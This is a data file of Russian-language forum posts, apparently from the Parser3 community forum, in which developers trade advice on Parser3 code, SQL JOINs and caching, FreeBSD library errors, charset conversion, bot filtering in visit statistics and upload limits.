"58232","1. SQL_CALC_FOUND_ROWS + FOUND_ROWS работают как и LAST_INSERT_ID: на текущую сессию. т.е. пришедший параллельно пользователь вам не помешает. использую давно, [url=\"/forum/?id=30213\"]писал об этом[/url].\
\
2. у меня в новых классах авторизации (ещё не выложенных) считается md5(тело запроса+limit+offset) и это становится ключем в случае автокеширования. 5 строчек кода в одном месте класса %-)\
\
3. да, этот момент мне тоже не нравится. причем меня больше напрягает именование классов (т.к. полями пользуюсь редко): пользовательский Date и парсерный date аналогично. у меня решения нет (убирать префикс типа пока не собираюсь, т.к. мне он очень помогает)."
"58233","Как у вас это реализовано?\
\
[code]$sQuery[SELECT\
		...\
	FROM\
		table_1,\
		table_2,\
		table_3\
	WHERE\
		...\
	GROUP BY\
		...\
	HAVING\
		...\
	ORDER BY\
		...]\
$tResult[^pSQL.table{\
	$sQuery\
}[\
	$.limit(10)\
][\
	$.file[^math:md5[${sQuery}-${hParams.limit}-$hParams.offset]]\
	$.cache_interval(1/24)\
]][/code]\
\
Примерно так?"
"58234","разве что это условная вещь, которая включается дополнительным параметром у запроса/объекта. точный код показать не могу - нет под рукой, но обновленные классы скоро выложу (они не совместимы с предыдущими в связи со сменой name convention: sql => Sql, mysql => MySql, @init -> @create и т.п.)."
"58235","ваш совет подошел как нельзя кстати.\
[code]################################################\
@getDailyStatistics[hParams]\
$hParams[^hash::create[$hParams]]\
$result[^pSQL.table{\
	SELECT\
		dt_counted,\
		SUM(CASE WHEN article_id = 0 THEN read_count ELSE 0 END) AS visits,\
		COUNT(DISTINCT CASE WHEN article_id != 0 THEN article_id END) AS articles,\
		SUM(CASE WHEN article_id != 0 THEN read_count ELSE 0 END) AS readings\
	FROM\
		site_statistics\
	^if(def $hParams.where){\
		WHERE $hParams.where\
	}\
	GROUP BY\
		dt_counted\
	ORDER BY\
		dt_counted\
}[\
	^if(def $hParams.limit){$.limit($hParams.limit)}\
	^if(def $hParams.offset){$.offset($hParams.offset)}\
]]\
# end of @getDailyStatistics[]\
\
################################################\
@getDailyStatisticsCount[hParams]\
$hParams[^hash::create[$hParams]]\
$result[^pSQL.int{\
	SELECT\
		COUNT(*) \
	FROM\
		(\
		SELECT\
			COUNT(*)\
		FROM\
			site_statistics\
		^if(def $hParams.where){\
			WHERE $hParams.where\
		}\
		GROUP BY\
			dt_counted\
		) AS T\
}]\
# end of @getDailyStatisticsCount[][/code]"
"58236","...лучше заменить\
[code]COUNT(DISTINCT CASE WHEN article_id != 0 THEN article_id END) AS articles[/code]\
на\
[code]sum(case when article_id != 0 then 1 else 0 end) as articles[/code]\
\
p.s. Старайтесь избегать использование distinct'a везде, где без него можно обойтись - sql-сервер скажет вам спасибо. :)"
"58237","вообще-то group by ~= distinct\
тут в любом случае будет производиться вычисление функции для каждой строки, однако count(distinct(функция)) в этом случае с моей точки зрения немного хуже чем sum(функция) по производительности (хотя правильнее - замерить), и сильно хуже в плане понимания происходящего."
"58238","На сервере стоит FreeBSD 5.4\
Сначала поставил parser3 для FreeBSD 6.1, но при обращении к /cgi-bin/parser3.cgi браузер выдавал ошибку 500, а в error_log'е появлялась строка\
[code]/libexec/ld-elf.so.1: Shared object \"libstdc++.so.5\" not found, required by \"parser3.cgi\"[/code]\
потом поставил parser3 для FreeBSD 4.x. Ошибка 500 осталась, а строка в error_log'е поменялась на \
[code]/usr/libexec/ld-elf.so.1: Shared object \"libc.so.4\" not found, required by \"parser3.cgi\"[/code]\
\
в /usr/lib/ нашел только libstdc++.a, libstdc++.so и libstdc++.so.4\
\
как все-таки запустить parser?"
"58239","... попросить администратора сервера собрать Парсер из исходников. Либо попросить его же сделать симлинки на новые библиотеки (в этом случае берем  Парсер для FreeBSD 4). Но лучше пересобрать из исходников."
"58240","ну пересобирать парсер ради меня вряд ли кто-то будет, а симлинк сделать попросил. Жду ответа."
"58243","где можно найти их название?"
"58246","К [url=\"http://www.spearance.ru/parser3/poll/\"]опроснику[/url] делаю админку.\
\
Проблемы 2:\
1. Если ответов в базе нет, то добавить новые невозможно. (Если хотя бы один есть, то добавляются.) И удалить все ответы невозможно. Т.е. опять же мин. один надо оставить.\
2. ind - значение radiobutton. Т.е. для одного из ответов должен он быть checked. Получает пока, что проставляется для всех.\
\
\
[code]\
@edit[params][params;poll_id;id;update_hash]\
^check_params[$params;edit]\
^if(def $params.request && $params.request is hash && def $params.request.exist_answer && $params.request.exist_answer is table){\
	$update_hash[^hash::create[]]\
	$update_hash.poll_id[$params.request.poll_id.field]\
	$update_hash.answers[^hash::create[]]\
	^if($params.request.answer is table && $params.request.exist_answer is table){\
		^if($params.request.answer > $params.request.exist_answer){\
			^params.request.answer.menu{\
				^if(^params.request.answer.line[] > $params.request.exist_answer){\
					$id[new_^params.request.answer.line[]]\
				}{\
					^params.request.exist_answer.offset[set](^params.request.answer.offset[])\
					$id[$params.request.exist_answer.field]\
				}\
				^params.request.vote_count.offset[set](^params.request.answer.offset[])\
				$update_hash.answers.$id[\
					$.answer[$params.request.answer.field]\
					$.vote_count[$params.request.vote_count.field]\
					$.ind[$params.request.ind.field]\
				]\
			}\
		}{\
			^params.request.exist_answer.menu{\
				^if(^params.request.exist_answer.line[] > $params.request.answer){\
					$id[delete_^params.request.exist_answer.line[]]\
					$answer[$params.request.exist_answer.field]\
				}{\
					^params.request.answer.offset[set](^params.request.exist_answer.offset[])\
					$id[$params.request.exist_answer.field]\
					$answer[$params.request.answer.field]\
				}\
				^params.request.vote_count.offset[set](^params.request.exist_answer.offset[])\
				$update_hash.answers.$id[\
					$.answer[$answer]\
					$.vote_count[$params.request.vote_count.field]\
					$.ind[$params.request.ind.field]\
				]\
			}\
		}\
	}\
	^update[$update_hash]\
}\
[/code]"
"58248","в любом случае при добавлении или удалении ответов должно быть не меньше 2-х. Иначе нафига делать опрос с одним ответом? :)"
"58250","\"Вам надо либо взять с сайта производителя версию для конкретной системы. В\
данном случае сборка для версии 6.2 а на сервере стоит 5.4. Либо\
самостоятельно сделать симлинк у себя в домашней директории и прописать\
LD_LIBRARY_PATH для загрузки нужной библиотеки\".\
\
Второй вариант вполне подходит, попробую."
"58251","Вобщем, в базе лежит инфа в UTF-8.\
\
На выходе надо получить просто одно поле, выводимое без всякой разметки, но в windows-1251.\
\
Вот такая строка лежит в базе:\
[quote]УЛИТКА[/quote]\
\
Проделываю вот такие манипуляции:\
[code]$text[^string:sql{...}]\
$response:charset[windows-1251]\
$text[/code]\
\
В результате — РёР›Р&#65533;РўРљРђ. Ну всё тот же UTF-8.\
\
Пляшу с бубном, но напрасно."
"58252","Какой-нибудь:\
[code]mysql://user:passw@localhost/base?ClientCharset=utf-8[/code]\
\
А в Парсере пусть остается \
[code]$request:charset[windows-1251]\
$response:charset[windows-1251][/code]\
\
 http://www.parser.ru/docs/lang/app3mysql.htm"
"58254","Меня все таки интересует почему так получается. На тот случай, если делать не опросник. Со вторым вопросом тоже непонятно."
"58255","... а выполнять перекодирование средствами sql сервера, задавая ?charset=..."
"58257","max@rimart.ru"
"58258","Несколько раз пытался понять что написано, путаюсь в коде... :)\
У меня метод редактирования намного проще."
"58259","Нелбходимо найти все ссылки в Html и заменить.\
Вопрос вот в чем, <a[^^<] работает, а [^^<]a не работает!\
Хотя              </a>[>^$] не раб, а </a[>^$] работает,  \
\
$x[^x.match[<a[^^<]*</a[>^$]][gi]{<a>}]"
"58261","и Яхубот так же?\
\
Анализирую статистику, нашел много похожих айпишек - просмотрел кто такие - вижу гугл и яху. И $env:HTTP_USER_AGENT у них говорит, что типа они мозилла. Это мода такая?\
\
У меня статистика построена так, что посетителю пишется сессионная кука, если он с \"правильным\" $env:HTTP_USER_AGENT пришел. Ботам кука, похоже, не пишется, и поэтому статистика накрывается лживыми посещениеми. Логгить айпишки не могу, т.к. БД разрастется до нереальности. Как быть?"
"58262","Необходимо найти все \"<a href...>...</a>\" в Html документе и заменить на что либо, например <a>.\
<a[^^<] я указываю, что в начале строки долж. стоять \"<a\" /или нет?/,\
</a[>^$] а заканчиваться должн. \"</a>\". Вопрос в том, почему в начале приходится дублировать \"<\", а в коце нет. </a>[>^$] является не работает."
"58263","Ситуация такая. Есть БД. В ней много объявлений. У каждого объявления есть такие параметры, как, например, \"Категория\", \"Коробка передач\", \"Тип кузова\", \"Марка\" и т.д. Их может быть 20.\
Естественно, если эти параметры (поля) будут текстовыми, типа \"Марка\" будет равна \"Tayota\", то когда добавится 5000 объявлений и я выясню, что Тойота оказывается пишется \"Toyota\", а не \"Tayota\", мне станет грустно. Можно, конечно, сделать UPDATE table SET mark = ..., но все-равно неприятно, я, к примеру, хочу, чтобы юзер выбирал марку из списка, и все, больше никак. Ну и реляционный подход и все такое. В общем чтобы все было грамотно.\
Поэтому все такие параметры в табличке BULLETIN заданы цифрами, а для каждого типа параметра существует своя табличка, например mark (ID INT, TITLE VARCHAR(50) ...).\
Суть такова. \
1. Я выбираю из БД 300-500 объявлений. Вернее идентификаторов объявлений (поле ID INT). = $list\
2. Делаю цикл, в котором помещаю в переменную tBulletin результат запроса SELECT * FROM bulletin WHERE ID = $list.ID\
3. Начинаю потрошить объявление и забивать его в табличку. Т.е. табличка, пример:\
Наименование: $tBulletin.Title\
Марка: ^DB:Mark[$tBulletin.Mark]\
Кузов: ^DB:Body[$tBulletin.Body]\
...\
И таких параметров штук, ну, хотя бы 10.\
Ну, так что получается. 300 итераций цикла по $list, в котором выбирается информация об объявлении и потом еще 10 запросов к БД по части параметров. Итого 300*11 = много. Вот так вот много обращений к БД на обычном хостинге - это сильно плохо для сайта? Т.к. у меня сайт при попытке вывести 300 объявлений грустно говорит \"out of memory (while expanding string)\".\
\
Получается выход - в начале обработки скриптов, сделать в табличные переменные выборки всех параметров, типа $tMark будет содержать все марки автомобилей, $tBody будет содержать все типы кузова. Выборку по категории ($list) делать не только ID, а вообще все поля таблицы bulletin, тогда не придется делать переменную tBulletin в каждой итерации цикла, и т.д.\
\
Это выход? Или может быть можно придумать еще что-то более цивилизованное?\
\
LIMIT 0, 50 в данном случае не подходит, т.к. все объявления нужно выдать одним рулоном."
"58264","[code]Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)[/code]\
То, что он Mozilla-compatible не должно мешать при обработке."
"58265","значит класс detect кривой до ужаса. А где взять список имен всех возможных ботов? Чтоб не считать их. Буду искать в строке их имена, и если есть, не считать их."
"58267","... с использованием join'ов (поверьте, sql-сервер умеет делать это очень просто). И потом выведите через menu."
"58268","и эти применения - не анализ немеряного количества разных User Agent которые в жизни вообще не нужны.\
\
анализ логов - не та задача, которую стоит решать на парсере, то как вы пытаетесь отпределить \"правильных посетителей\" - изврат, таким способом вы её не решите, даже если определите всех UA точно до символа (а чтобы понять нужно ли вам это - для начата запишите все UA за сутки в лог и посмотрите сколько разного бывает)."
"58269","[code]\
    select b.id as id, b.title as title, ..., \
           m.title as marka,\
           g.title as gear,\
           ...\
      from bulletin as b\
 left join marka as m on b.marka_id = m.id\
 left join gear as g on b.gear_id = g.id\
 left join ...\
[/code]"
"58270","не понял что вы написали, но решение примерно такое:\
[code]^str.match[<a[^^>]+?>.*?</a>][gi]{<a>}[/code]"
"58271","решительно не понимаю почему нельзя изменять тот элемент в таблице. можно ли вообще изменять элементы в таблицах, м?\
\
[b]Код:[/b]\
\
^a.menu{ \
 ^b.menu{\
  ^if($a.y==$b.x){\
   ^if((^c.locate[x;$a.x]) && ($c.y==$b.y)){ [b]$c.value($c.value + $a.value*$b.value)[/b]\
	}{\
 	^c.append{$a.x	$b.y	^eval($a.value*$b.value)}\
   }	\
  }\
 } \
} \
\
[b]Ошибка:[/b]\
\
value\
\
element can not be stored to stateless_class"
"58272","нужно собирать статистику посещений. Мнея интересуют не хосты, и не хиты, а максимально-реальный посетитель. Т.е. с сессионной кукой.\
\
Как определить, что это посетитель, а не бот? Я уверен, вы с такими задачами сталкивались - поделитесь решением?"
"58273","[code]\
$tCar[^oSql.table{\
	SELECT\
		car_id AS id,\
		model_id,\
		name\
	FROM\
		car\
	WHERE\
		...\
}]\
\
$hModel[^oSql.hash{\
	SELECT\
		model_id AS id,\
		name\
	FROM\
		model\
	WHERE\
		model_id IN (^tCar.menu{$tCar.model_id}[,])\
}]\
\
# выводим\
^tCar.menu{\
	Название: $tCar.name<br />\
	Модель: $hModel.[$tCar.model_id].name<br />\
}\
[/code]"
"58274","ботов ловить - бесполезная затея.\
Можно максимально оградить себя от ботов:\
\
1. С помощью javascript (большинство ботов тупо пропускает).\
2. Ссылкой на внешний урл (поисковые роботы как правило не идут на внешние ссылки).\
\
Однако это тоже не выходы. При желании и это обойдут.\
\
Самый правильный подход относиться к статистике как к неточному явлению с вариацией +/- 10%."
"58275","Спасибо за информацию, очень помогло. Кажется. Нужно только применить."
"58277","мне не нужны боты - ловить их я и не планирую. Мне как раз нужно от них оградиться."
"58278","для сбора статистики используем webalizer, accesswatch, analog в качестве серверных решений (ставятся всегда) и js счетчики (если настаивает клиент). нам самим статистика не нужна.\
\
\"максимально-реальный посетитель\" - абстракция\
\
\"исключать боты по именам\" - глупость. завтра появится очередной супер пупер бот с новым именем, а послезавтра - ещё один и что вы будете делать?\
\
\"с сессионной кукой.\" - что мешает ставить куку и считать только тех, у кого она есть (т.е. при втором заходе. при первом определить работоспособность кук невозможно)? зачем вообще анализировать UA для этого?"
"58279","Если подчиненные таблицы маленькие, то разницы никакой нет - sql-сервер все-равно вытащит их полностью и в этом случае проще сделать все одним join'ом."
"58280","Кое-какая литература указана на http://www.parser.ru/links/\
\
Очень рекомендую книжки Джо Селко: \"SQL для профессионалов\" и \"Стиль программирования Джо Селко на SQL\"."
"58281","... только выбираем из БД только нужные в данный момент категории. Правильно?\
\
А вот еще такое - есть 1500 категорий и с ними нужно иногда делать небольшие манипуляции, т.е. например \"хлебные крошки\" сделать (обратный путь по каталогу), где-то вывести название текущей категории, а также \"связанные\", и т.д. Тут придется работать уже с БД или тоже есть вариант?"
"58282","... есь строки Googlebot, Yandex/1.01.001 и т.п. Другое дело, что это неперспективное занятие - гораздо лучше поставить отдельный анализатор логов (Миша уже про это написал).\
\
p.s. http://webmaster.yandex.ru/faq.xml?id=502499#user-agent"
"58284","Посмотрите пример построения деревьев, и поищите по форуму обсуждения класса uri."
"58285","... в мышлении. Если рядом больше никого нет, приходится думать самому. И придумывать заново велосипед. Иногда у этого велосипеда, к примеру, колеса кривые получаются. \
Читал документацию по MySQL, но упорно не мог понять, для чего JOIN нужен. Без конкретных примеров сложно понимать. Ну, написано, что объединяет запросы, ну и что? А практическая польза? Вот здесь как раз и понял практическую пользу.\
А бумажные книги покупать - пока доедут до места доставки, пройдет некоторое время, да и неизвестно на что нарвешься. Купил одного автора MS SQL Server 2005, такое чувство, что автор просто справочник функций перевел, выбросив половину, потому что лень. В MSDN более художественно написана, чем то, что я купил. Вот так и трать деньги на мукулатуру.\
А за рекомендацию книги спасибо, буду покупать и читать."
"58286","С JOIN в конкретно этом примере понятно.\
А если есть такой случай. В той же таблице bulletin есть несколько полей, которые являются как бы параметрами товара. Т.е. в таблице bulletin есть поля:\
type (INT),\
subcategory (INT),\
body (INT)\
во всех этих полях содержится число - идентификатор параметра. А названия параметров содержатся в отдельной ОДНОЙ табличке:\
Таблица param (id INT, title VARCHAR(50))\
1 Седан / тип кузова, поле type\
2 Пикап / --- /\
3 Труповозка / --- /\
\
4 Автомобили / подкатегория, поле subcategory\
5 Морской транспорт / --- /\
6 Космический транспорт / --- /\
\
7 Красный / цвет, поле body\
8 Желтый / --- /\
9 Зеленый / --- /\
\
В общем, если строковое описание каждое параметра содержится в своей таблице (как было с \"Марка автомобиля\" и \"Категория\"), то с JOIN понятно. А если все эти параметры лежат в одной таблице, как сейчас, как примерно будет выглядеть запрос? Т.е.\
\
SELECT\
bulletin.id as id,\
bulletin.name as name,\
bulletin.region as region,\
region.name as region_name,\
bulletin.body as body,\
... [тут нужно выбрать текстовое значение body_name из таблицы param, где param.id = bulletin.body ] ...\
region.name as region_name,\
bulletin.subcategory as subcategory,\
... [тут нужно выбрать текстовое значение subcategory_name из таблицы param, где param.id = bulletin.subcategory ] ...\
FROM\
bulletin,\
LEFT JOIN region ON bulletin.region = region.id\
... [ и тут нужно как-то вписать, что в общем деле еще участвует и таблица param]\
\
Если есть какие-то идеи, прошу помочь.\
\
Сожалею, что не по парсеру, но за эти 4 часа книгу по SQL я купить пока не успел, поэтому буду радоваться, если поможете."
"58288","И используйте тег [ code ] для текстов программ и таблиц - очень тяжело читать ваши сообщения."
"58290","У вас в примере написано:\
\
[code]select b.id as id, b.title as title, ..., \
           m.title as marka,\
           g.title as gear,\
           ...\
      from bulletin as b\
 left join marka as m on b.marka_id = m.id\
 left join gear as g on b.gear_id = g.id\
 left join ...[/code]\
\
Т.е. каждый параметр содержится в разной таблице.\
\
Вот так я примерно думаю:\
\
[code]SELECT\
	tbl_body.title as body_title,\
	tbl_type.title as type_title,\
	tbl_subcategory.title as subcategory_title\
FROM \
	bulletin\
JOIN LEFT param AS tbl_body ON bulletin.body = tbl_body.id\
JOIN LEFT param AS tbl_type ON bulletin.type = tbl_type.id\
JOIN LEFT param AS tbl_subcategory ON bulletin.subcategory = tbl_subcategory.id\
[/code]\
\
Я правильно придумал?"
"58292","... это как раз нереляционный подход. Категорически не стоит сваливать разные сущности (тип, цвет и т.п.) в одну таблицу (param)."
"58294","... думать было особо некогда. Как всегда. Поэтому сейчас исправляю те проблемы, которые были, и готовлю проект переработки сайта с учетом того, что узнал за полгода его работы.\
\
Но все-равно спасибо за информацию."
"58295","... Т.е. вытащить все поля из базы таблицу bulletin и отдельно в хэш params. И при выдаче подставлять данные из хэша - это будет быстрее.\
\
См. http://www.parser.ru/forum/?id=58273 \
Только лучше вытащить таблицу params целиком (т.е. не париться с формированием выражения для IN)."
"58296","Это единственный недостаток или есть еще преимущества хеша над таблицей?"
"58297","Во-первых прийдется использовать не offset, а locate (где гарантия, что у вас id'шники всегда будут идти подряд, без пропусков).\
\
Во-вторых, если данные имеют некий уникальнй ключ, то и удобнее и быстрее использовать именно хэши."
"58298","- [^^<] означает не то, что должно начинаться с '<', а любой символ кроме '<'\
- '^$' прочитайте что означает конец строки в случае разным модификаторов поиска\
\
P.S. ссылки на мануалы есть и на этом сайте"
"58301","в этих двух статьях есть решения:\
\
http://www.spearance.ru/parser3/rating/\
http://www.spearance.ru/parser3/statistic/"
"58302","На сервере стоит ограничение файлов размером 500кб. Есть ли сборка parser3.cgi под Linux размером меньше 500к?"
"58303","Можно разбить parser3.cgi на два файла?"
"58307","Имею чистый index.html, с все равно каким содержимым (html)\
там же лежит .htaccess, в нем одна строка:\
[code]\
Header append I_need_this_header \"Yes\"[/code]\
\
\
Обработчик html само собой - парсер\
\
смотрю браузером заголовки - НЕТ ТАКОГО\
пишу в htaccess \
\
[code]RemoveHandler parsed-html html[/code]\
\
Смотрю заголовки - есть!!\
\
Вопрос - что делает с заголовками парсер, и как ему не дать их прикончить?"
"58308","Здравствуйте!\
Подскажите, пожалуйста, юзеру, верно ли утверждение (документацию прилежно прочел от корки до корки 5 раз :): \"Я могу пропускать через движок Parser-а любые строки, предваряя символы, описанные в разделе \"Строковые литералы\" (http://www.parser.ru/docs/lang/stringlit.htm) \"крышечкой\"?\
Вывожу JavaScript:\
var red_open=\"<font color='red'>\";\
Пишу:\
var red_open=^\"<font color='red'>^\"^;\
в точном соответствии с докой.\
Получаю exception: parser error : Opening and ending tag mismatch: font line 28\
До этого стоит тэг <div>, после этого </div>, поэтому Парсеру не нравится тэг <font>.\
Разрешима ли эта задача или лучше не мучиться и засунуть джаву в отдельный файл?"
"58309","А можно разложить 5 мбайтный файл на 10 so-шников по 500 Кб. Извращение? Чистой воды извращение, а что делать...:)"
"58310","Такую ошибку парсер просто так не выдает\
наверно вы пытетесь использовать xdoc - тогда очевидно у вас нет закрывающего тэга </font>\
\
кавычки можно не экранировать, никогда проблем с ними не встречал, надо экранировать в обязательном порядке $ ^ и часто скобки (например в регулярных выражениях, if(...) и пр)\
\
JS можно вынести в отдельный метод:\
@js[]\
<script>\
....\
</script>\
 тогда не надо экранировать ничего.."
"58311","Да, точно. Спасибо, помогло (вынес в отдельный метод и пропала ошибка, а также пришлось экранировать только знак $)!"
"58313","$var1[^string:sql{select id from mytable where max=3}] \
\
Если в таблице нет строки с мах = 3, выдает ошибку. как это исправить?"
"58315","[в новой версии sql классов]\
\
1. есть глобальный ключик $.bCacheAuto \"кешировать запросы автоматически\", который я могу указать конструктору sql объекта. соотв. ключ имеет 2 значения: true|false (или 1|0). при его задании он копируется в переменную объекта: $self.bCacheAuto($hParam.bCacheAuto)\
\
2. у любого sql запроса я могу пожелать отключить кеширование. мне кажется логичным добавить примерно аналогичный ключик с примерно аналогичными значениями. при этом если при создании объекта я указал $.bCacheAuto(false) [т.е. я не хочу автоматически кешировать всё], то указав $.bCacheAuto(true) _у_запроса_ я включу авто-кеширование этого запроса, а если при создании объекта я указал $.bCacheAuto(true) [т.е. я хочу кешировать все по умолчанию], то указав $.bCacheAuto(false) _у_запроса_ я хочу отключить кеширование у этого конкретного запроса.\
\
в результате получается, что я не могу легко и просто отличить был-ли задан у запроса $.bCacheAuto(false) или этот ключ вообще не был указан, т.к. и ^if(def $hParam.bCacheAuto){}{} и ^if($hParam.bCacheAuto){}{} возвращают false в обоих случаях.\
\
получается, что в моем случае приходится вместо понятного кода, работающего в случае задания значений и в виде bool и в виде int:\
[code]\
^if(\
	$hParam.bCacheAuto\
	 || (\
		$self.bCacheAuto\
		&& !def $hParam.bCacheAuto\
	)\
){авто-кешируем}\
[/code]\
\
писать такое извращение (да, я считаю это извращением включающее в себя сравнение строк):\
\
[code]\
^if(\
	$hParam.bCacheAuto\
	|| (\
		$self.bCacheAuto\
		&& !($hParam.bCacheAuto is \"bool\")\
		&& !($hParam.bCacheAuto is \"int\")\
		&& !($hParam.bCacheAuto is \"double\")\
	)\
){авто-кешируем}\
[/code]\
\
=> более общая формулировка: мы не можем использовать bool параметры и что-то включать значением false, т.к. сложно отличить ситуацию с явным значением false от ситуации с отсутствием параметра.\
\
P.S. готов выслушать предложения по упрощению конструкции от всех, особенно от тех, кто голосовал за false == !def %-)\
\
P.P.S. вариант изменения имени ключа в запросе, чтобы его действие было \"инверсным\", например на $.bForce, не предлагать, т.к. я считаю что один ключ с одним поведением запомнить проще и так делать правильнее.\
\
P.P.P.S. мнение [url=\"/forum/?id=57802\"]ПАФ-а[/url] видел, результаты голосования тоже, но есть ощущение что после этих граблей текущее поведение def $bool я изменю %-)"
"58316","... такие \"выверты\" и не понадобятся:\
[code]\
^if(^hParam.bCacheAuto.int(0) !|| $self.bCacheAuto){\
  кешируем\
}{\
  не кешируем\
 }\
[/code]\
Более того, нам будет абсолютно наплевать на bool у нас в переменной или int. IMHO самый понятный вариант."
"58318","т.к. в случае, если параметр НЕ ЗАДАН, ^hParam.bCacheAuto.int(0) вернет 0, как и в случае false. проблема в том, что просто отличить !def от false невозможно.\
\
конвертация в int будет по любому.\
\
P.S. ниасилил почему xor? почему в случае, если и переменная класса говорит что кешировать, и переменная метода - мы не кешируем?"
"58319","В таком случае лучше поменять поведение def'а на \"true, если присвоено любое значение\".\
\
И еще. Мне кажется крайне сомнительным использование ключа с одинаковым именем для конструктора и для метода. Для кеширования все-таки больше подходит следующая логика:\
1. Если отключено кеширование во всем классе (cacheAuto == false) , то в методе нельзя его включать принудительно.\
2. Если в классе включено автоматическое кеширование, то отключить его в конкретном запросе можно только отдельным ключиком, явно. Причем его имя не может быть cacheAuto - не понятно как можно включить автоматическое(!) кеширование только на один запрос (смысл слова автоматическое в данном контексте становится непонятным - останется автоматический режим после выполнения запроса или нет?)."
"58320","я о том-же %-)\
\
1. у меня вообще нет возможности отключить кеширование таким образом, чтобы его нельзя было использовать для какого-либо отдельно взятого запроса. речь не про \"кеширование\", а про \"автокеширование\". именно его я могу включить глобально, и все запросы будут кешироваться. сейчас чтобы кешировать запрос ему явно нужно указать имя файла. в случае автокеширования имя файла указывать не нужно, оно будет сформировано автоматически как ^math:md5[$sQuery]=$hOption.limit=$hOption.offset. думаю теперь понятен смысл отключения автоматического кеширования, а отключается оно естественно только на один запрос, у которого указан ключ.\
\
2. чем отключение автокеширования в отдельном запросе в виде $.bCacheAuto(false|0) - плохо? разве это не явное описание сути происходящего? у меня был отдельный ключ ($.bForce(1|true)), но я не вижу смысла в двух ключах с разными именами (сложнее запоминать), делающими одно и то-же, в случае которых нужно ещё как-то устранять меджу ними конфликт (какой приоритетнее?)."
"58322","[code]\
# к примеру это ваш метод в sql класса\
@mSQL[hParams][hRequest]\
# по умолчанию ключик равен локальному bCacheAuto\
$hRequest[$.bCacheAuto($self.bCacheAuto)] ^rem {могут быть и другие значения по умолчанию}\
# получаем пар-ры запроса\
^hRequest.add[$hParams]\
# .......\
^if($hRequest.bCacheAuto){ кэшируем } { не кэшируем }\
[/code]"
"58323","... что $.bCacheAuto(false|0) не описывает сути происходящего, а точнее последствий. Но \"на вкус и цвет\". :) \
\
Я в своих классах все-таки оставил ключик a-la force... Но кешированием перестал пользоваться после того, как правильно настроил сервер БД - он у меня теперь запросы кеширует просто отлично."
"58325","доку почти наизусть знаю, но ничего в описании класса Response  нет ни слова об упоминаемой проблеме.\
\
Может я неясно высказал мысль?\
\
Я хочу средствами АПАЧА выставить некоторые заголовки.\
Но если парсер стоит обработчиком файлов, то сквозь него посетителю эти заголовки не проходят. \
\
Пытаюсь понять почему"
"58327","имеем 2 метода\
[code]\
@method[hParams][hLocal]\
$hLocal[^hash::create[$hParam]]\
# значения по умолчанию\
^if(!def $hLocal.value1){$hLocal.value1[1]}\
^if(!def $hLocal.value2){$hLocal.value2[2]}\
^if(!def $hLocal.value3){$hLocal.value3[3]}\
[/code]\
и\
[code]\
@method[hParams][hLocal]\
# значения по умолчанию\
$hLocal[\
  $.value1[1]\
  $.value2[2]\
  $.value3[3]\
]\
^hLocal.add[$hParams]\
[/code]\
вопрос: что хуже визуально и програмно\
на мой вкус 2й метод очевиднее (имхо конечно)"
"58328","т.е. я не утверждаю, что везде и всюду нужно использовать один и только один способ. в случае нескольких ключей ваш вариант логичнее."
"58329","^hParam.bCacheAuto.bool($self.bCacheAuto)\
\
т.к. то, что (>тут<) начнет выполняться лишь в случае, если bCacheAuto не смогло отконвертироваться. т.е. для true|false|1|0 оно преобразуется в значение без обращения к $self.bCacheAuto.\
\
в случае .int - аналогично."
"58330","Не выложите свою админку?"
"58332","Весь день бьюсь никак не получается !!!\
\
В тексте встречаются конструкции &lt;br&gt; как им образом их можно удалить ли преобразовать к виду <br> в нутри строки.\
\
Пробовал так:\
\
[code]$buff[^buff.match[&lt^;br&gt^;]{}][/code]\
\
и так\
[code]\
$rep[^table::create{from   to \
&lt;br&gt; <br>}] \
^s.replace[$rep] \
[/code]\
\
никак не получается."
"58333","однако вы уверены, что у вас тами именно &lt;br&gt;, а не &amp;lt;br&amp;gt; или не \"грязные\" <br>, которые преобразуются к упоминаемому вами виду при _выводе_?\
\
попробуйте сделать .save текста с тамими буквами и посмотрите еше раз или выдайте их в документ ^taint[as-is][>тут<]."
"58334","Спасибо. Пошаманил. Получилось."
"58336","Добрый день уважаемые!\
\
Проблема с парсером возникла после 2х годичного использования.\
Взял себе VDS, залил туда парсер (не компилировал, а просто залил).\
Настроил всё что надо, но тормозит жутко. Страницу с кодом 2 + 2 открывает секунды три.\
У ВДС параметры такие: ДЦ Москва.Мастерхост или корбина (не уточнил пока), freebsd, выделяют: 150MHZ, 96RAM и т.п.\
На дешевых хостах всё летало, а тут тормоза =(\
\
Самое интересное, что на дешевых заливал parser.cgi размером в 2Мб, тут он не шел, поэтому с вас скачал стандартный на 500 кило под фри 6.1\
\
Может это из-за того что я его не скомпилировал? Поможет ли такое лекарство?"
"58338","Куда идти?"
"58339","Может попробовать под FreeBSD 4.x, ведь не факт что там FreeBSD 6.1?"
"58342","Пытаюсь отправить файл с письмом через обзор, говорит - мало памяти. Думаю, что нужно просто повышать максимальную планку выделяемых ресурсов."
"58343","Просмотрите раздел\
[code]$LIMITS[ \
   $.post_max_size(10*0x400*0x400) \
] [/code]\
конфигурационного метода."
"58346","$LIMITS[ \
   $.post_max_size(1024*0x400*0x400) \
]"
"58347","Сначала файл находится в памяти, а потом уже парсер выполняет над ним определенные операции. Т.е. если на сервере лимит памяти в 15мб, то файл в 150 мб вы никак не закачаете."
"58348",", то я считаю идею с заливкой файлов такого объема полным саксом. Для таких объемов есть ФТП - через веб можно грузить не более 5 МБ, и то, если у вас нэт стабильный. У меня канал в 2 мБ, и то иногда аплоады падают.\
\
Опишите задачу, может есть более рациональные решения."
"58350","Чем пользоваться — неважно. Есть все. Важна стабильность, потому что большие обьемы данных. Ошибок не простят."
"58354","P.S. в случае возможности множественного выбора результат был-бы известен: у всех выбраны все варианты. ну или почти все %-)\
\
P.P.S. в каждой шутке есть доля шутки. отдавая голос за откровенно нереальный вариант вы не не показываете, какой из реальных вариантов вам важен :)"
"58356","если да - то ваши клиенты не совсем отдают себе отчет в их задачах.\
\
При таких требованиях я бы сел, написал клиента на Делфи. Работа по фтп - пустяковый код. Если вся работа посетителя заключается в аплоаде файлов, и чтобы его не заморачивать с фтп-клиентами - делфи-прога - решение. Или на Си-билдере. Один экзешник, без инсталляций и т.п. При первом запуске прога пишет данные фтп-коннекта в реестр, и потом просто их юзает. Нужно юзеру загрузить файло - запустил прогу, указал файл, свернул в трей, и занимается своими делами, не беспокоясь о феилах аплоада. Можно даже батч-моуд замутить.\
Можно еще на активХ написать. Вариантов много, и веб-аплоад - это крайность, имхо.\
\
А аплоадить гигабайтные файлы через веб-сервер - это издевательство. Все равно, что забивать гвозди микроскопом."
